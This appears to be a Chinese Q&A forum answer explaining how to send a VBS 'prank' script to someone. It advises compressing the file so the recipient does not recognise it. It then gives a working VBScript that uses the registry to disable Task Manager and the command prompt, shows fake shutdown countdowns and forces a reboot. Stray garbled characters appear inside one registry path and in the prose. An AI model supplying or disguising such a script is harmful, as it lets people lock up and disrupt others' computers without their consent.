vbs整人代码怎么发送给别人

简单啊。你把VBS后搏腊面改成.VBS就可以了。还有，别忘了得压缩。你不压缩别人一看到就知道这是个耍人的脚本了， 求积分，顺便附上一个代码，set s=createobject("wscript.shell") set bag=getobject("winmgmts:\\.\root\cimv2") set pipe=bag.execquery("select * from win32_process where name='wscript.exe'") For Each id in pipe if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD" id.terminate() else s.regwrite"HKCU\基基滑Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD" for i=1 to 200 s.popup"系统将在"& 1-i &"秒后关机...",1,"系统提示",4096+48 next Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem") For Each eOs In colOS eOs.Win32Shutdown(2) Next end if Next[color=#FF0000] 这是个耍人的代码，可以让他电脑关机后重启后任务管理器打不开。CMD也打不开。 想要解决的方法就是先打开一次这个脚本，然后会提示关机，在没关机前你再打开一次那个脚本就锋拿好了